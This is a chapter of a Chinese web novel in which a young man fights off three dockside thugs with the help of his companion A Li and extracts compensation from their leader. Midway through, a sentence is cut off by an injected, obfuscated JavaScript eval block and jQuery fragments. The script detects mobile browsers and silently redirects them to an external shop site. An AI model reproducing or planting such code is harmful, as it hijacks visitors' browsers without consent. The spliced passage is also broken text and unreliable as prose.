文趣网 > 其他小说 > 娘子掏出来比我还大 > 26. 第二十六章
    在城里耽搁太久,已然过了人流最大的时候,饶是人最多的一艘船上,也有好几个空位。

    船主想着多等两个船客,用竹竿支着船不肯走。

    林镜正打算将空位的船费出了,让船主直接开船,可话还未出口,那络腮胡大汉便领着俩小弟跳上了船。

    几人一屁股坐下,梁旁边同乘的船客挤到一边,也不说给船钱,睨了船家一眼恶声恶气地喊:“开船!”

    常在码头上混,没几个不认识这帮子流氓混混的。

    船主兜头挨了吼,还得赔着笑脸点头应是。

    船缓缓离岸,船主一边划船,一边暗自后悔不该多贪那几文船钱。

    这下船客没等到,倒是等来了这么几尊霉神。

    码头上,抄手摊主见船已经划到江中央,这才大着胆子啐了一口,同旁边摊主吐槽起来,“呸!说啥子只准摸,不准抢,刚刚老子的抄手是遭狗抢起去吃了啊?”

    “唉,算了算了。”旁边摊主无奈地安慰了两句,“只吃了碗抄手都是好的了,总比把摊子给你掀了强撒。”

    抄手摊主也知道是这个道理,长长地叹了口气,“唉——这生意是越来越不好做了,我都想回去种地算了。”

    “你当种地又容易啊,我老家大哥上回来送麦子,说今年子的粮税又要涨。”

    “安!?又涨?”

    摊主们的抱怨消失在嘈杂的人声当中,船行至河面,林镜瞟了一眼追上来的三个混混,不动声色地理了理腰带。

    他的柴刀就撇在后腰上,衣襟里还有新做好的弹弓,倒没什么好怕的。

    唯一担心的就是阿荔和陈青安,这俩人手无缚鸡之力,可别连跑路都不会,被抓住伤到哪里才好。

    那厢三哥几人也是图穷匕见,装都懒得装了,二郎腿一点一点,靠在栏板上用不怀好意地眼神打量着林镜。

    他们也知道这三人当中只有林镜是个不好对付的,另外两个,一个婆娘,一个半大小子,不足为惧。

    三哥招招手,俩小弟便附耳过来,三人嘀嘀咕咕半天,最后商议好,一下船便先揪住那个小的,若能把那婆娘按住更好,不怕男的不给钱。

    一帮混混二流子,又不是正经混帮派的,不讲先礼后兵那一套,只要能达到目的,怎样都好说。

    很快,船便晃晃悠悠靠了岸。

    林镜一边不动声色观察着那几人,一边拉着阿荔和陈青安下船走上岸边。

    同船的人早就发现了这两拨人不对劲,一上岸便行色匆匆作鸟兽散,生怕沾染上那几个小混混。

    三人也加快步伐朝停在不远处等客的牛车走去,可没走两步,那几人便径直朝自己这方走来。

    他一把薅过差点被人扯住袖子的陈青安,又拉过阿荔挡在自己身后,冷眼扫过去。

    “咋个安?”

    没能按计划行事,那为首的圆肚络腮胡大汉哼笑一声,抱着手臂吊儿郎当地踢了一脚地面上的碎石子。

    他开门见山道:“兄弟,将才看你赚了不少哒嘛,借点来使使撒。”

    林镜侧头用余光朝阿荔暗示一眼,然后回过来冷声回应。

    “不借。”

    “不借?不借你看你今天走得脱不嘛?”说着,那络腮胡大汉手一挥,俩小弟撸着袖子便上来了。

    “你们先跑。”林镜低声嘱咐一句,抬步便迎上那两人。

    起手便是一脚,揣在那小个子肚腹上,疼得他下意识弯腰捂住肚子动弹不得。

    接着伸出手臂拦住刀疤青年,阻止他绕到后方去抓陈青安。

    身后阿荔和陈青安对自己的武力值有自知之明,知道留下只会拖累林镜,在他出声的一瞬间捞起背篼转身就跑。

    几个动作间,两人已经跑出去十来步。

    络腮胡大汉见状仍不肯放弃,趁小弟拖住林镜的功夫,便要追上去。

    林镜一只手像铁钩似的死死握住刀疤青年的手臂,抬腿远远踹过去,脚尖正正落在络腮胡大汉的胯骨上。

    络腮胡被踢得偏了一下身子,往侧边横着退了好几步才卸力站稳。

    他朝已经跑远的一大一小啐了一口,恶狠狠地瞪向林镜,“小杂种,力气还不小!”

    说罢也不去追那两人了,三人一齐围攻林镜一个。

    此刻精瘦小个也缓过劲来了,林镜几乎被围着打。

    饶是他会些功夫,这具年轻的身躯体力也不弱,可双拳敌六手难免受掣肘。

    躲过络腮胡袭来的重拳后,他又是一脚,把精瘦小个给踹翻在地,接着回身一个利落的横扫捶在刀疤青年的颧骨处。

    这一拳比之络腮胡沙包大的拳头也不差什么,刀疤青年直接被打懵了,甩着脑袋缓了几息才反应过来,又伸手企图制住他的手臂。

    林镜一手被制住,眼见络腮胡沙包大的拳头就要落下,连忙往刀疤青年身上一倒,躲过拳头。

    一个成年男人的重量倏地落在身上,刀疤青年被压得往后退了两步,顿时失去平衡,林镜一把便将他推开了。

    紧接着回身和络腮胡过了几招。

    这人不愧是能当混混头头的人,手上功夫同样不是杂乱无章的乱拳。

    林镜和他打了几个来回,那厢两个小弟都缓过神又冲上来了,仍是没讨到好。

    如此一直纠缠下去吃亏的终究是自己,林镜一咬牙,再顾不上许多,从腰间抽出了柴刀,打算用刀背敲晕一两个再说。

    可没等他柴刀挥出去,胳膊上便传来一阵令人毛骨茸然的凉意,紧接着便是皮肉被划破的刺痛。

    原来那精瘦小个同样也带了家伙,自知不敌,竟是用一柄小刀划破了林镜的手臂。

    身上挂了彩,反倒让热血直直往头顶灌上去,他顺手便翻转刀背砍了出去。

    血线迸射,溅了林镜一脸,柴刀不如小刀利索,但胜在力道更大,伤口更深。

    那络腮胡大汉被砍伤了手背,鲜血滴答滴答地往下落,疼得“嗷”地一声就叫了出来。

    “小杂种,老子弄死你!”说着便捂着手背朝林镜飞踹过来。

    林镜顾不得小臂上的伤口,正招架着精瘦小个再次捅过来的小刀,猝不及防被络腮胡大汉踹了一脚,差点没迎面撞到刀尖上去。

    他回身朝络腮胡大汉挥出一刀,被他险险躲过,又一刀涮在刀疤青年胳膊上。

    “砰——”

    火光电石之间,一声闷响自身侧传来。

    林镜下意识偏头看过去,只见握着刀的精瘦小个直直朝自己倒来,露出后头一道纤瘦的身形,和阿荔那张略显苍白的脸来。

    原以为跑远了的阿荔,不知什么时候折返了回来,手里还举着一根手腕粗的树枝。

    竟是一棒就把那小个子给敲晕了过去。

    这力道,半点不像个肩不能挑手不能提的姑娘家。

    顾不得多想,林镜眼疾手快地一脚把那小个子手里的刀给踢出几丈远,还淌着血的手将阿荔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663580|206800||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    给拉过来护在身后。

    眼见同伴倒地,络腮胡大汉和刀疤青年慌了。

    又见地上的精瘦小个只是晕乎了一瞬间便醒过来,在地上扑棱了几下,还抬手想要捂住脑袋。

    没死!几人这才勉强镇定下来。

    林镜一脚踩在那小个子后背上,让其动弹不得,冷眼朝络腮胡扫过去。

    “你!”

    络腮胡当人大哥的,自然不能不管小弟的死活,只得停下进攻的动作,血糊糊的手指着林镜。

    两厢对峙起来。

    渡口早已因几人的缠斗变得空无一人,林镜冷声先发制人:“咋说?”

    络腮胡偷鸡不成蚀把米,气得咬牙,一双铜铃大的鼓泡眼布满血丝,恨声道:“把我弟兄放了,我放你走!”

    “你放我走?”林镜像是听到什么天大的笑话一般,嗤笑出声。

    “你自己听你这话有毛病没得?”说罢,他伸手摊开,“汤药费!”

    “你还想要汤药费!?”络腮胡牙齿咬得咯吱作响,“老子手都差点遭你砍断,你还要汤药费?”

    林镜懒得和他掰扯,脚下一用力,那精瘦小个排骨架般的身子就闪了两下,疼得他嗷嗷直叫。

    “三哥,三哥!救我……”

    “你自己选,要么赔我汤药费,以后看到老子绕路走,要么老子就踩死他,再砍死你。”林镜板着个脸,一副混不吝的样子放起狠话。

    对方手里有人质,饶是络腮胡恨得牙痒痒,也只能丢下一句:“算你狠!”,老老实实从衣兜里掏出一角碎银扔过来。

    抛物线落入怀中,林镜伸手捞过,将染了血的碎银递给身后的阿荔,指着络腮胡身边的刀疤青年。

    “你,把这地下的血打整了。”

    地上一派凌乱,四处散落着林镜和那络腮胡的血迹,若是不知情的人看了还当此地发生了什么命案。

    届时若有多事的人报了官,不论是林镜还是络腮胡都要吃挂落。

    因此刀疤青年也没说什么,老老实实从渡口外的岸边薅了几把干草开始打扫起来。

    这期间林镜一直和络腮胡对峙着,防止对方暴起发作,僵着身子一动不动。

    厉卿沅就这么被人护在身后,盯着他的后脑勺一路往下看,视线最终定格在他沾染着血迹的衣袖上。

    心下一紧,厉卿沅只觉得呼吸都变得急促了几分,眼眶被那逐渐发黑的血迹染红,心脏突突直跳。

    他丢掉树枝,手忙脚乱地掀开自己的外衣,从里衣下摆上撕下一条柔软的布料来。

    绕到林镜身侧,拉过他用另一只手捂住的小臂。

    掀开衣袖,总算看清里头正冒着血珠的伤口。

    趴在地上的小个子浑身没二两肉,力道不大,林镜的伤口也不算很深,但因为一直在冒血显得无比恐怖。

    厉卿沅将布条紧紧缠绕在那伤口上,但布料很快又被鲜红的血液濡湿。

    看着那刺眼的红,厉卿沅心里有些烦闷,忙不迭又从衣摆上撕下一条更窄的布料,拴在林镜的手臂上方,企图阻止血液更快的流失。

    他抬头看向林镜的脸,却发现对方也在看他,面上带着克制的柔和。

    厉卿沅眼神下意识躲闪了一下,又落到他的伤口上。

    想问对方疼不疼,又觉得这样很蠢。

    受伤哪有不疼的?

    一旁,络腮胡怒目看着这一切,忍不住啐了一口唾沫,暗骂:“狗男女!”